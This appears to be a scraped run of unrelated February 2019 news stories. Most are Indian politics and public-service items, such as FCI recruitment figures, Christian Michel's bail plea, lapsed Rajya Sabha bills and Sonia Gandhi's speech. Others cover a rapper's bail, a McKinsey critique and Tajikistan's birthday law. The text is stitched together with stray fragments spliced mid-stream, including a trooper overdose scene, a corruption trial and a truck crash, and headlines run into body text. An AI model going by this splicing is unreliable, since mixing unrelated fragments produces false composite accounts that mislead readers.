He has further been accused of favouring the induction of two officers R P Upadhyay and Rajeev Krishna, against whom internal inquiries had reportedly revealed adverse conducts.

It may be recalled that following a public spat, a high powered committee headed by the Prime Minister had ousted Verma as the CBI chief. He was made the director general of fire services, civil defence and home guards. He, however, defied the order and refused to take charge.

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Story first published: Wednesday, February 13, 2019, 2:44 [IST]Government urges procurement agencies to reach out to farmers on pulse MSP

FCI Recruitment 2019: Apply online for 4,103 posts, application process begins Feb 23

India

oi-Deepika S

New Delhi, Feb 13: The Food Corporation of India (FCI) will release an official recruitment notification on February 23.

There are 4,103 vacancies for various posts including Junior Engineer (Civil Engineer/ Electrical Mechanical Engineering), Assistant Grade II (AG II) (HINDI), Steno Grade- II, Typist (Hindi) And Assistant Grade - III (AG III) (General/ Accounts/ Technical/ Depot posts) in offices spread all over the country.

Interested candidates can apply online for FCI Posts from 23 February to 25 March 2019. A candidate can apply in any one zone only i.e. Either North Zone OR South Zone OR East Zone OR West Zone OR North East Zone.

They are also informed that the admit cards will be made available on the official website for download - 15 days prior to announced date of examination.

FCI recruitment 2019: Vacancy details

Total vacant posts: 4,103

North Zone- 1999

J.E. (Civil Engineering)- 46

J.E. (Electrical Mechanical Engineering)- 30

Steno Grade-II- 43

AG-II (Hindi- 22

Typist (Hindi)- 16

AG-III (General)- 256

AG-III (Accounts)- 287

AG-III (Technical)- 286

AG-III (Depot)- 1013

South Zone- 540

J.E. (Civil Engineering)- 26

J.E. (Electrical Mechanical Engineering)- 15

Steno Grade-II- 7

AG-II (Hindi)- 15

Typist (Hindi)- 2

AG-III (General)- 159

AG-III (Accounts)- 48

AG-III (Technical)- 54

AG-III (Depot)- 213

East Zone- 538

J.E. (Civil Engineering)- 26

J.E. (Electrical Mechanical Engineering)- 10

Steno Grade-II- 9

AG-II (Hindi)- 2

Typist (Hindi)- 12

AG-III (General)- 106

AG-III (Accounts)- 87

AG-III (Technical)- 224

AG-III (Depot)- 61

West Zone- 735

J.E. (Civil Engineering)- 14

J.E. (Electrical Mechanical Engineering)- 9

Steno Grade-II- 9

AG-II (Hindi)- 4

Typist (Hindi)- 4

AG-III (General)- 124

AG-III (Accounts)- 65

AG-III (Technical)- 153

AG-III (Depot)- 353

North East Zone- 291

J.E. (Civil Engineering)- 2

Steno Grade-II- 8

AG-II (Hindi)- 1

Typist (Hindi)- 4

AG-III (General)- 112

AG-III (Accounts)- 22

AG-III (Technical)- 3

AG-III (Depot)- 131

Eligibility criteria: The candidates should hold a diploma or degree in Engineering for the posts. For post wise detail on educational qualifications, please check the official notifications.

Selection process: Candidates will have to take a written test followed by interviews conducted by FCI for being selected for the posts which are yet to be officially announced by the Corporation.

How to apply: The candidates can apply through the official website, fci.gov.in on or before March 25, 2019.

The FCI was setup under the Food Corporation's Act 1964 , in order to fulfill objectives of the Food Policy in regard to effective price support operations for safeguarding the interests of the farmers, distribution of foodgrains throughout the country for public distribution system and maintaining satisfactory level of operational and buffer stocks of foodgrains to ensure National Food Security.

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Story first published: Wednesday, February 13, 2019, 12:03 [IST]Every chance that Michel will flee if granted bail, CBI, ED tells court

India

oi-Oneindia Staff

By Anuj Cariappa

New Delhi, Feb 13: The CBI and the Enforcement Directorate on Tuesday strongly opposed before a Delhi court the bail plea of Christian Michel, arrested in the AgustaWestland VVIP chopper case, saying he may abscond from India if released.

CBI and the ED, in their separate replies, told special judge Arvind Kumar that Michel is accused of serious economic offences and there is ample evidence against him to prove his guilt.

The court has posted the matter for hearing on Wednesday after Michel's lawyer sought time to argue.

Michel got kickbacks in other defence deals too: ED

CBI said Michel is a British national and has no roots in India and there is "every likelihood that if he is granted bail, he may abscond from India, evading the process of law and may not return to face the trial."

"The apprehensions of CBI about his absconding from the process of law gets support from his past conduct. Keeping in mind the facts and circumstances, there also exists a security threat for the applicant accused, if enlarged on bail," CBI said while seeking dismissal of his bail plea.

It said the accused has acted as middleman in a defence deal of government of India and such "shady and nefarious defence deals sometime create hurdles even in implementing the fair and transparent decisions taken by the governments for procurement of defence equipments in order to strengthen the defence line of the country".

"There is ample evidence on record to link the applicant accused to the commission of such offences, and his release on bail would adversely affect further investigation to unearth the deep-rooted multi-layered conspiracy in the instant case. The conduct of the applicant-accused till date has been evasive," it said.

It said that the agency is taking all possible steps to conduct an effective and fair further investigation which would be hampered if he is released on bail.

Michel had moved the court seeking bail in cases by the CBI and the ED, saying the chargesheet against him was not filed within the stipulated time frame of 60 days.

"Since, the chargesheet was not filed against him within the stipulated 60-day period under section 167(2) of the Code of Criminal Procedure (CrPC). Probe is complete. I'm in custody since December 22, 2018," Michel had said in the petition.

With regard to Michel's submission that charge sheet has not been filed in 60 days, ED said that he was remanded in judicial custody on January 5 and the period of remand commences from December 22, 2018 and therefore the period of 60 days prescribed under section 167 CrPC does not expire in the case.

CBI also said that the provisions of Section 167(2) of the Code of Criminal Procedure are not applicable in the case as charge sheet has already been filed against him and 11 others.

Congress to go offensive on AgustaWestland deal scam despite names of Gandhis figure in it

Opposing his bail, ED said Michel's past conduct makes it amply clear that there exists a reasonable apprehension of him evading the process of law. He is also closely linked to ceratin influential people and there exists a reasonable apprehension of applicant tampering with the evidence of the case.

"The investigation of the case is at very crucial stage and the instant application is an attempt to adversely affect an effective investigation of the case," ED said.

Michel, extradited from Dubai, was arrested by the Enforcement Directorate (ED) on December 22 last year.

On January 5, Michel was sent to judicial custody in the ED case. He is also lodged in judicial custody in the CBI case related to the scam.

Michel is among the three alleged middlemen being probed in the case by the ED and the Central Bureau of Investigation (CBI). The others are Guido Haschke and Carlo Gerosa.

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Story first published: Wednesday, February 13, 2019, 7:30 [IST]The male driver ran up to the troopers and advised them that his female passenger, a 30-year-old woman from Crown Point, was passed out and needed help, Wojas said. The troopers found the woman slumped over and unresponsive, they checked her vitals and realized she wasnt breathing.Efforts being made to revive Khalistan terror in Punjab says Centre

India

oi-Vicky Nanjappa

New Delhi, Feb 13: The NIA has registered seven terror-related cases in Punjab which were aimed at reviving the Khalistan-linked terrorism in the state, the Lok Sabha was informed.

Union minister of state for home Hansraj Ahir said the National Investigation Agency (NIA) has registered five cases related to murder and two cases related to attempt to murder in Punjab during 2016-17.

With support from Italy, Canada, how Khalistanis are looking to meddle with Indian elections

"The objective of which was to destabilise the law and order situation in Punjab and to revive Khalistan linked terrorism in the state," he said, replying a written question.

Ahir said in order to avert terror incidents in the country, there is a close and effective coordination mechanism between intelligence and security agencies at the Centre and the state level.

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Story first published: Wednesday, February 13, 2019, 9:47 [IST]Corruption on accelerator and development on ventilator was hallmark of Congress rule: Modi

Delhi court reserves order on Christian Michel's bail plea

India

oi-Chennabasaveshwar P

New Delhi, Feb 13: Delhi's Patiala House Court reserved order on British national Christian Michel's bail plea after the Central Bureau of Investigation (CBI) opposed his bail in Agusta Westland case. The bail order to be passed on February 16.

The court said, 'This court has taken cognizance in both ED and CBI chargesheet. Once the cognizance has taken then accused cannot ask for statutory bail'

Michel has sought bail, saying he has been in custody since December 4, 2018, and as per Section 167(2) of the Code of Criminal Procedure, the probe was supposed to be completed by February 3.

CAG Rafale report: Modi's deal cheaper by 2.86% than UPA's era

But, the charge-sheet was not filed against him within the stipulated 60-day period, so he should be released on bail, Michel's defence counsel told the court.

The CBI told Special Judge Arvind Kumar Kumar that charge-sheet in the case has already been filed against the accused persons including Michel and the court has already started proceedings against them.

(With agency inputs)

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Story first published: Wednesday, February 13, 2019, 15:33 [IST]Class 10 Bengali question paper leak on Whatsapp, WBBSE will not cancel exam

India

oi-Deepika S

Kolkata, Feb 13: The WBBSE Class 10 Bengali paper has been allegedly leaked on February 12, 2019. A total of 10,66,000 students are appeared in the class 10 examination conducted by the West Bengal Board of Secondary Education on Tuesday with the Bengali paper.

The WBBSE board has lodged a complaint at Bidhannagar Police Commissionerate Cyber Crime cell after a senior government official got the image of the Bengali question on his Whatsapp number which purportedly resembled one page of the original Bengali question paper of Tuesday.

"We lodged the police complaint as we want to find out who had clicked the photo and forwarded the same among others to create mischief," he said.

Asked about report of purported image of Bengali first paper question paper circulated on Whatsapp, Ganguly said "the images were taken and forwarded on Whatsapp after the exams began. By that time candidates were already writing their papers inside the centre. So there has been no leak."

He asserted there was no question of holding the Bengali first paper exams again.

He said "we do not have report of any question paper leak and the first day examinations passed off smoothly everywhere in the state, including the hills."

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Story first published: Wednesday, February 13, 2019, 15:15 [IST]BJP tally in Rajya Sabha likely to go up by 1 next year

Citizenship, triple talaq Bills lapse as Rajya Sabha adjourns sine die

India

oi-Madhuri Adnal

New Delhi, Feb 13: The Citizenship (Amendment) Bill, 2019 and The Muslim Women (Protection of Rights on Marriage) Bill, 2018 have lapsed in Rajya Sabha on Wednesday after the House was adjourned sine die on the last day of the Budget session.

The bills had been facing strong resistance from the Opposition and some of BJP's own allies.

As both the bills were passed by the Lok Sabha earlier, they were to lapse if not cleared by the Rajya Sabha today -- the last sitting of the 16th Lok Sabha.

[Protests rage on in Assam over Citizenship Bill]

Both the Bills have proved to be controversial, with the Opposition parties locking horns with the BJP-led NDA government over the issue. The two Bills are bound to lapse if the Rajya Sabha fails to pass them today.

The legislation has witnessed opposition from several political parties in the North East, including allies of the Bharatiya Janata Party.

'The Dynast' spreading lies on Rafale, says Jaitley; Rubbishes conflict of interest allegation

The bill seeks to amend a 1955 law to grant citizenship to persecuted Hindus, Buddhists, Sikhs, Jains, Parsis and Christians from the Muslim-majority nations of Bangladesh, Afghanistan and Pakistan if they have lived in India for six years. It has been passed in the Lok Sabha.

Jaitley criticises Cong for promising to withdraw Triple Talaq Bill

The National Democratic Alliance government introduced two bills - the International Financial Services Centre Authority Bill, 2019, and the Cinematography (Amendment) Bill, 2019, PTI reported.

Why Triple talaq bill unlikely to get Rajya Sabha nod:

The Narendra Modi government is keen to get parliamentary approval for the triple talaq bill but there is no certainty that it will clear the Rajya Sabha hurdle in the remaining two days of the budget session and the measure may again be implemented through an ordinance.

Opposition parties and several leaders from the Muslim community are sticking to their stand against the bill, contending there is no need for it as the instant triple talaq has been banned by the Supreme Court.

Both the Bills to lapse if no paased:

Both the Bills were passed in Lok Sabha and then sent to the Rajya Sabha. If the Rajya Sabha does not pass them on Wednesday, the two Bills will lapse on the dissolution of Lok Sabha and would have to be cleared by the next Lok Sabha again.

When does a Bill lapse?

A bill originated in the Lok Sabha but pending in the Lok Sabha - lapses.

A bill originated and passed by the Rajya Sabha but pending in Lok Sabha - lapses.

A bill originated and passed by the Lok Sabha but pending in the Rajya Sabha - lapses.

A bill originated in the Rajya Sabha and returned to that House by the Lok Sabha with amendments and still pending in the Rajaya Sabha on the date of the dissolution of Lok Sabha- lapses.Bluff, bluster and intimidation have been Modi govt's philosophy: Sonia Gandhi

India

pti-PTI

New Delhi, Feb 12: Congress leader Sonia Gandhi on Wednesday alleged that "bluff, bluster and intimidation" have been Modi government's philosophy and hailed party president Rahul Gandhi for taking opponents "head-on".

Addressing the Congress Parliamentary Party's general body meeting, Sonia Gandhi also praised her son for bringing in fresh energy and putting together a team which blends experience and youth.

In a blistering attack on the Centre, Sonia Gandhi alleged that there is an "all-pervasive atmosphere of fear and strife" across the country.

"We go to the forthcoming Lok Sabha polls with renewed confidence and resolve. Our victories in Rajasthan, Chhattisgarh and Madhya Pradesh have given us new hope," she said at the meeting attended by Rahul Gandhi, former prime minister Manmohan Singh, Congress' leader in Lok Sabha Mallikarjun Kharge and Leader of Opposition in the Rajya Sabha Ghulam Nabi Azad among others.

'Lies of 'Mahajhootbandhan' stand exposed by CAG report': Arun Jaitley

"Our opponents were earlier projected as being invincible. The Congress president took them head-on, mobilising and motivating lakhs of our workers who, with him, gave their all. We won in what were believed to be their strongholds," she said.

Slamming the Modi dispensation, the Congress Parliamentary Party leader said the foundations of "our democratic and secular republic" have come under "systematic assault" by the government.

The very values, principles and provisions of the Constitution have been under continued attack from the Modi government, she alleged.

"Institutions have been subverted. Political opponents have been hounded. Dissent has been suppressed. Freedom of speech -- the most basic of all freedoms -- has been sought to be curtailed and silenced," the UPA chairperson said.

"Bluff, bluster and intimidation have been the governance philosophy of the Modi government. Truth and transparency have been brazenly tossed aside," Sonia Gandhi alleged.

The last five years have been a time of unprecedented economic stress and social strain for the country, the former Congress president said.

"The northeast is burning. Alienation in Jammu and Kashmir has scaled new heights. Dalits, adivasis and minorities are being targeted. Farmers are facing unprecedented distress. The youth is staring at the abyss of despair with jobs being destroyed on a scale that has never happened before," she said, lashing out at the Modi government's policies.

Sonia Gandhi also praised the Congress president for his leadership after taking over the reins of the party in December 2017.

"He (Rahul Gandhi) has worked tirelessly. He has also reached out to other political parties who share our vision of India, who share our agenda for faster economic growth with full social justice, who share our agenda for the welfare of kisans and khet-mazdoors, women and youth, workers in the organised and unorganised sector," the UPA chairperson said.

Rahul Gandhi, in a Facebook post, said the Congress Parliamentary Party met at Parliament House where some key political issues before the country were discussed.

"As we come to the end of the term of this Parliament, I'm grateful for the support and affection I've received from my Congress brothers and sisters in Parliament and thank them for their incredible hard work and dedication," he said.

Sonia Gandhi, in her remarks at the meeting, said the people of the country were wise and know that "jumlabaazi" (rhetoric) is no substitute for sensitive and responsive governance.

The people know that "imagery, stage management and marketing gimmicks" can be no substitute for responsible and accountable governance, she said.

They have seen through and experienced the results of the many lies told to them, she said.

"Our political adversaries have unlimited resources at their command. They will have no scruples and will stoop to anything to ensure that our forward march is halted. We will not allow them to succeed. We will confront them, we will fight them with all the vigour at our command and more," Sonia Gandhi said.

She also claimed that Parliament has been "immeasurably weakened" and debate and discussion muzzled.

"The institution of Standing Committees has all but disappeared. The route of the Money Bill, described by one Supreme Court judge as a 'fraud on the Constitution', has been resorted to ever so often to escape legitimate scrutiny in both Houses," the Congress leader alleged.

There is now "near-universal recognition" that the mandate of 2014 has been betrayed, she claimed.

"That mandate itself was obtained by deceit and dishonesty, by misleading the people. It was inevitable that it would be found out and exposed sooner or later. That is exactly what has happened," she said.

Sonia Gandhi also thanked the party's MPs for persevering despite "trying times" and democratic space being "denied" to them.

"I have derived strength and succour from the goodwill, understanding and the commitment of each and every one of you. It is you, it is our great party, it is our precious legacy that has sustained me and that will continue to inspire me," she said.

PTIAnother one bites the dust: Why surrender of Indias top naxal Sudhakar is a big deal

India

oi-Vicky Nanjappa

New Delhi, Feb 13: Oggu Satwaji also known as Sudhakar is one of India's highest ranking naxalites. He was dangerous and was on the most wanted list of the National Investigation Agency.

However the security forces achieved a big shot in the arm after Sudhakar along with his wife, Neelima surrendered before the Telangana police. Incidentally this is the second high profile surrender by a naxalite, the last one being that of Jinugu Narasimha Reddy alias Jampanna in 2017.

NIA arrests close naxal aide in MLA killing case

The surrender of Sudhakar is an important one considering that he was pat of the central committee and politburo, the highest decision making body of the CPI (Maoist). Apart from being part of the decision making team, he was also a strategist. Sources in the Intelligence Bureau say that his surrender will deal a blow to the plan by the naxalites, who are looking to revive their activities in south.

Trusted by all high ranking naxalites, Sudhakar was a key strategist and was put in charge of Jharkhand in 2015. He had managed to set up a strong base in Jharkhand.

Sources say that he was also hand picked by his bosses to lead the revival of the naxal movement in south. He was in charge of setting up a southern corridor for the naxalites, the source also added.

Sudhkar is a resident of Sarangpur in Telangana and joined the naxal movement in 1990 when he was in class 12. He rose in the ranks very soon and became area commander and later zonal committee member. He was put in charge of Odisha, Telangana, Madhya Pradesh, southern Chhattisgarh and Maharashtra. Sources say that the area that he was given to cover is only an indicator of how important a player he was.

He along with his wife Neelima carried a bounty of Rs 1.5 crore on their heads. His surrender is a huge success for the security forces as he would help spill the beans on the operations of the naxalites. Sources also tell OneIndia that he is likely to get more naxalites to the surrender table.

100 naxals attack BJP MLC's house in Bihar, accuse him of not returning Rs 5 crore

The source further adds that one of the key reasons for his surrender was that he was disgruntled with the ideology of the Maoists. Several naxals have over the past few years surrendered citing a similar reason. They say that the ideology of the naxal movement has completely changed and today it is more about extortion and blackmail rather than fighting for a cause.7th Pay Commission: No word on DA arrears, here is how you can calculate from July 1

7th Pay Commission: The government has assured nothing, but there is some good news

India

oi-Vicky Nanjappa

New Delhi, Feb 13: There has been both good and bad news in the past few days where the 7th Pay Commission is concerned.

A meeting of the members of the National Joint Council of Action and Union Home Minister Rajnath Singh was expected to bring about some cheer for the Central Government employees who have been demanding a hike in their basic minimum pay.

7th Pay Commission: No hike in basic minimum pay, but DA could be increased

While the NJCA said that they were positive that some good news would come out, the fact is that government has made no assurance. A source informed OneIndia that the government only said that they were sensitive to the demands and the same would be looked into.

However the source also added that there could be some good news as the Cabinet could announce a hike in the Dearness Allowance. With no news on the pay hike, the rise in DA could come as some sort of comfort for the CG employees.

There has however been good news on another front. The Centre has increased the monetary limit on disclosure of investment in shares and mutual funds by employees to six months of their basic pay.

As per the 1992 rule, disclosure of details related to transactions in shares, mutual fund schemes or securities exceeding Rs 50,000 and Rs 25,000 during a calendar year was mandatory for Group A-B officers and Group C-D employees. Now the employees would need to send an intimation if the total transactions exceed six months of basic pay during the calendar year.

7th Pay Commission: What is delaying the pay hike and what CG employees can expect

While these are small sops that the government is doling out, the CG employees feel that their problems would be addressed only if the basic minimum pay is increased. However, sources confirmed that the bigger possibility for now would be a DA hike. The Centre is not in a position to apply any more pressure on the exchequer as of now. This means that the recommendation of the 7th Pay Commission which fixed the basic minimum pay at Rs 18,000 would stay for sometime more.

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Story first published: Wednesday, February 13, 2019, 6:58 [IST]Last session of memorable 16th Lok Sabha concludes today: 5 moments to recall

India

oi-Shubham Ghosh

New Delhi, Feb 13: Wednesday, February 13, marked the final day of the final session of the16th Lok Sabha, one of the most memorable tenures in the history of Indian democracy since Independence.

The outgoing Lok Sabha had the BJP in control after it won a single majority in the 2014 Lok Sabha election.

The 16th Lok Sabha was constituted on May 18, 2014, two days after the results of the general election were declared. Narendra Modi, who was the BJP's prime ministerial candidate in that election, took oath as the prime minister on May 26. The first session of the 16th Lok Sabha took place between June 4-11. The current Lok Sabha saw 315 MPs taking oath for the first time, which is 58 per cent of the total members.

Rock solid says Shah on peoples' support for Modi

Out of those 315, 190 members had no prior legislative experience. Also in the 16th LS, 169 members were re-elected from the 15th Lok Sabha. The 16th LS had 62 women members after the general poll, the highest ever. PM Modi himself was a first-time MP.

The 16th Lok Sabha had some unique moments even though it did not have any formal Opposition as no party could get the minimum number of 54 seats in the Parliament. We take a look at five of those from the last five years:

Rahul Gandhi hugging PM Modi & then winking: On July 20, 2018, Congress president Rahul Gandhi, the MP from Amethi, went across to a seated PM Modi and gave him a hug, saying that he harboured no hatred for the BJP.

It was during a debate over a no-confidence motion against the BJP-led NDA government. Rahul said his opponents might call him "pappu" but yet he had no hate for them.

Rahul then returned to his seat even as the BJP protested his act and winked at some of his colleague, which was then taken up by Modi himself during his talk calling it "aankho ka khel" (trick of the eyes).

Modi cries while addressing the BJP MPs: It was on May 20, 2014, and Modi was yet to take oath as the prime minister. He was about to address the BJP MPs in the Parliament's Central Hall when he requested party patriarch Lal Krishna Advani not to mention the word "favour" again.

Advani had earlier said that Modi had done a (kripa) favour to the party. Modi turned emotional and said serving one's mother is never a favour. It was also on the same day that Modi had bowed on the steps of the Parliament building calling it the "temple of democracy".

He will return as PM with over 300 seats says Modi's brother

Smriti Irani's emotional speech over Rohith Vemula's suicide: The Rajya Sabha MP had her peak moment in the Lok Sabha on February 24, 2016, when she gave an emotional speech filled with anger against the Opposition over the debate over Dalit research scholar Rohith Vemula's suicide and the JNU sedition row that year.

Irani, the HRD minister then, lashed out defending the government's action against the students of the JNU saying their union president Kanhaiya Kumar and others were found indulging in anti-national activities.

Irani's passionate might have failed to convince many but it remains one of the most memorable moments in the Lower House of the Parliament.

Hukumdev Narayan Yadav's touching speech that moved even PM Modi: Hukumdev Narayan Yadav, a veteran BJP MP from Bihar's Madhubani, gave a passionate speech during the budget session of 2015 which had left even the prime minister moved and choked.

Yadav attacked the caste system in India and also those who made fun of the sub-altern classes. He lashed out at those who mocked Modi as a tea-seller saying such attacks were below the belt and could not stop the latter from becoming the prime minister.

Modi was clearly seen turning emotional hearing Yadav's words.

Arun Jaitley sits and reads out budget speech: On February 28, 2015, Union Finance Minister Arun Jaitley, who is known to have recurring backaches, sat down while reading out the budget, something which doesn't have much of a precedent in India.

Lok Sabha Speaker Sumitra Mahajan had offered Jaitley to sit if he needed to and the finance minister said he would do so when he felt so. Jaitley read out his budget document sitting after standing for half-an-hour.During closing arguments Tuesday, Snyders defense sought to show that he did nothing wrong and that the government took information from the mayors political opponents to find something to charge him with. Federal prosecutors say Snyder didnt think the rules applied to him, and moved from scheme to scheme to enrich himself.Jason De Ford, 47, of Racine, Wisconsin, who was driving a 2019 Peterbilt semi pulling a box trailer, owned by Time Transport Inc., south on I-65 was unable to reduce speed to avoid Handlers semi and crashed into the undercarriage and rear axle area of the Kenworths trailer, Wojas said. The Peterbilt then ran off the road and crashed into the outside guardrail, where it blocked all lanes of southbound traffic, according to Wojas.Vanuatu turns the Corner LETS USE THIS AS A SPRINGBOARD FOR THE FUTUREA comfort station of bathrooms and changing rooms is in place and the pavilion has been gutted. Other than some necessary roof repairs and the construction of an elevator shaft, though, no additional construction work to transform the pavilion has taken place, said Jim Sweeney, co-founder of Dunes Action, a grassroots community organization that formed shortly after plans for the pavilion were made public in February 2015.Lawless Delivers Focus Week Chapel Message Feb. 13 February 13, 2019

Dr. Chuck Lawless, professor of evangelism and missions, dean of doctoral studies, and vice president for spiritual formation and ministry centers at Southeastern Baptist Theological Seminary, delivered the chapel message Wednesday, Feb. 13, in Raley Chapels Potter Auditorium.

The chapel service continued Focus Week, an annual week on the OBU campus emphasizing discipleship and encouraging students to focus on their lives in Christ. Clay Phillips, director of student ministry at OBU, will conclude Focus Week when he delivers the next chapel message Feb. 15, also at 10 a.m. in Raley Chapel.

Lawless spoke on Genesis 3:1-15. He gave five points on how the enemy tries to engage with us and how we should look to Christ despite that. He stated that the enemy engages us in conversation and tries to direct us to what were missing when we follow Christ. Lawless talked about the importance of knowing the word of God in order to combat the enemys attacks.

The world and the enemy say to look at what youll get when you give in, stated Lawless.

He then noted that the enemy wants us to hide and to blame somebody else for our sins. He talked about Genesis 3:8 and how throughout history people have tried to blame others for their sins, just as Adam blamed Eve and Eve blamed the serpent.

In addition to his duties at Southeastern, Lawless also serves as team leader for theological education strategists for the International Mission Board. He previously served as vice president for global theological advance for the IMB. Prior to that, he was dean of the Billy Graham School of Missions and Evangelism at Southern Baptist Theological Seminary in Louisville, Kentucky, where he also served as vice president for academic programming and the director of professional doctoral studies.

He earned a Bachelor of Science from Cumberland College and both an M.Div. and Ph.D. from Southern Seminary. He is the author of eight works, including Membership Matters and Spiritual Warfare, and has contributed numerous articles to denomination periodicals.

To view this or other chapel messages, visit OBU Spiritual Life.Mystikal Released From Prison on $3 Million Bond in Rape Case Ivie Ani Ivie is a Nigerian-American, native New Yorker, and journalist covering

In 2017, the rapper was indicted by a grand jury on charges of first-degree rape and second-degree kidnapping.

Mystikal has been freed on $3 million bond after spending 18 months behind bars.

According to a TMZ report, the money came from funds raised by Mystikals family and friends, as well as an advance for a new recording deal.

The 48-year-old New Orleans rapper, born Michael Lawrence Tyler, was released from Caddo Correctional Center in Louisiana after posting the bond in his rape case.

In 2017, he was wanted on a warrant listing a charge of first-degree rape in connection with an encounter at a downtown Shreveport casino. According to a prior report in USA Today, during an initial investigation, police said they recovered DNA evidence that allegedly linked Mystikal and Texas man Averweone Holman to the rape.

READ: A.J. Calloway Suspended by Extra as Sexual Misconduct Investigation Begins

Mystikal has been in prison since August 2017. After a Louisiana woman came forward with accusations of sexual assault, he turned himself in on charges of first-degree rape and second-degree kidnapping but pleaded not guilty to the charges that December.

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His trial is slated for May 2019.

In 2010, Mystikal was released from a Louisiana prison after serving six years for sexual battery and extortion.The family of man who died having spent time sleeping rough in Tullamore in 2017 have organised a charity memorial walk in his name.

The family said: "The 100km walk is to remember our son and brother, Conor, who died in 2017 at the very young age of 25 and to raise funds for two very appropriate charities, 22q11 Ireland and the Simon Community in Cork."

Conor O'Hagan died in Tullamore Hospital in February 2017 having spent a number of months in the town.

Conor had been seen in Tullamore in the last few months of his life, and the talented musician often busked in the town centre and at open-mic nights. He was hospitalised due to the effects of sleeping rough before his untimely death.

Conor's father Kieran, his wife Ann, and Conor's twin brother Owen will embark on the 100km walk from Galway City, where Conor spent the happiest days of his life, to Tullamore in May.

At the time of Conor's death, his father Kieran spoke to the Offaly Express and told of his upbringing in Cork and the person his son really was. You can read that article here.

The walk will begin at the Spanish Arch in Galway City at 9am on Friday, May 3, and end at the King Tree in Tullamore at approximately 2pm on Bank Holiday Monday, May 6.

It will pass through several towns and villages en-route to Ballinasloe and will conclude with a final stretch along the Grand Canal from Shannon Harbour to Tullamore town.

Conor's family would like to ask people in both Galway and Tullamore, and everywhere in between to come out and support them and to donate to the campaign for both charities.

You can donate here.McKinsey & Co.s reputation as the most prestigious management consulting firm is dealt a major reputational blow from a tough commentary, "McKinsey & Co: Capital's Willing Executioners," written by one of its former consultants and posted Feb. 5 on Current Affairs.org.

As champion of unbridled capitalism, according to Anonymous, McKinsey has done more direct harm to the world in ways that are hard to measure and hard to know, thanks to its intense secrecy.

The firms willingness to work with despotic governments and corrupt business empires is the logical conclusion of seeking profit at all costs. Its advocacy of the primacy of the market has made governments more like businesses and businesses more like vampires, according to the ex-consultant.

The consultancys we only do execution, not policy mantra provides a certain amount of cover.

This categorical claim was meant to assuage our fears. We werent the one steering the ship towards the cliff, we were merely tasked with keeping the ship afloat until it reached its destination, he or she wrote.

The former consultant believes McKinseys no policy line of reasoning would not have prohibited them from helping Bayer optimize its production of Zyklon B, adding a grim double meaning to the partners promise to only focus on execution.

The Current Affairs author wrote about McKinseys extensive work for Saudi Arabia, which may be its biggest client, running about 600 engagements from 2011 to 2016.

After the torture, murder and dismemberment of Saudi dissident and Washington Post contributor Jamal Khashoggi, McKinsey (along with other management consultants) remained a knowledge partner to the Saudi Arabia Future Investment Initiative (e.g., Davos in the Desert).

It will take more than the assassination of a journalist (to say nothing of the brutal year in Yemen) to undermine that thought partnership, wrote Anonymous.

McKinseys work for Saudi Arabia has received some pushback from consultants at the firm. However, In the repressive regimes the firm serves, client norms tend to dominate whatever liberal values McKinsey might initially attempt to smuggle in.

The author believes the consulting firm legitimizes its unsavory clients in the eyes of the world by lending them its sterling reputation. Even if McKinseys advice improves practices that help ordinary people, they sustain despotic regimes, wrote Anonymous. A competent authoritarian is more dangerous than an inept one.Poland, which is pushing for a bigger deployment of US troops, has hired BGR Government Affairs for strategic counsel and tactical planning advice and services on military and defense-related issues before the US Government.

The central European nation has offered to pay up to $2B for construction of a permanent US base (Fort Trump) in an effort to entice the White House.

The US already has about 4,000 troops in Poland, which guard its border with the Russian enclave of Kaliningrad.

Georgette Mosbacher, Americas ambassador to Poland and former CEO of Borghese cosmetics group, told the Feb. 12 Financial Times the increase in US troops stationed in Poland will be significant, passing the hundreds mark.

Poland has also agreed to a $400M-plus contract for US mobile rocket launchers.

BGRs $70K per-month consulting agreement kicked off Feb. 1 and runs for a year.

Besides lobbying US Government officials, the shop will provide PR support and digital communications savvy to Polands defense ministry. Crisis communications services are available upon request.

BGR is the firm of Haley Barbour, long-time Republican operative and former Mississippi governor.Financial aid professionals will volunteer at Indiana University Northwest and 38 other Indiana sites to help college-bound students and their families in filing the Free Application for Federal Student Aid (FAFSA) at 2 p.m. Feb. 24 in Hawthorn Hall, Room 454, at 3400 Broadway, Gary. FASFA filling must take place by April 15 to be eligible for state aid. Students should attend with their parent(s) or guardian(s) and bring their parents completed: 2017 IRS 1040 tax returns; W-2 forms; or other 2017 income and benefits information. Students who worked last year should also bring their income information. Students 24 years of age or older may attend alone and bring their own completed: 2017 IRS 1040 tax return; W-2 form; or other 2017 income and benefits information. The FAFSA ID must be used to log in to certain U.S. Department of Education websites. Those who do not have an ID, can create one prior to attending the event at https://fsaid.ed.gov/npas/index.htm. More information is at 800-992-2076 or at www.CollegeGoalSunday.org.The democratic Republic of Tajikistan is probably the only country in the world where celebrating a birthday outside the family home can earn offenders a hefty fine.

The recent case of Tajik pop star Firusa Khafizova, who got fined 5,000 somoni ($530) for celebrating her birthday in the company of friends outside her home, has once again drawn attention to one of Tajikistans most bizarre laws. According to the Regulation of Traditions and Customs in the Republic of Tajikistan the celebration of birthdays anywhere except in the privacy of the family circle is strictly forbidden, with offenders risking hefty fines. As strange as that may sound, the law is actually enforced, with authorities going as far as using social media pictures and videos as proof against suspected offenders.

Photo: Pixabay

In Khafizovas case, prosecutors used a video she had uploaded to Instagram to build their case against her. It showed her partying with friends at a restaurant and even performing with them on stage, a clear violation of Article 8 of Tajikistans regulations on traditions, celebrations and customs. She had to pay a fine of 5,000 somoni for her mistake.

Tajiks have taken to social media to express their displeasure with the bizarre law, calling it an interference of the state in peoples private lives, but prosecutors defended the bizarre restrictions, saying that they are in the best interest of the general public. The way they see it, banning public celebrations encourages citizens to spend their money on the needs of their families rather than on unnecessarily lavish birthday parties. It is also considered a way to ease the debt some people accumulate to organize extravagant celebrations.

The Regulation of Traditions and Customs in the Republic of Tajikistan was introduced in 2007 and expanded upon in 2017. It now allows the state to impose strict limits on the number of guests and dishes allowed at weddings, funerals, christenings and birthdays, as well as set the duration of such celebrations.

Photo: Kelsey Chance/Unsplash

While the law has become a source of amusement in the West, human rights advocates in Tajikistan claim that it is a tool for authorities to intervene in peoples private lives and restrict their rights and freedoms.

Cases similar to that of Firusa Khafizova have been reported in the past. For example, in 2015, a Tajik man was fined 4,000 somoni ($630 at the time) after posting a photo of himself at a cafe, with a birthday cake, on Facebook.

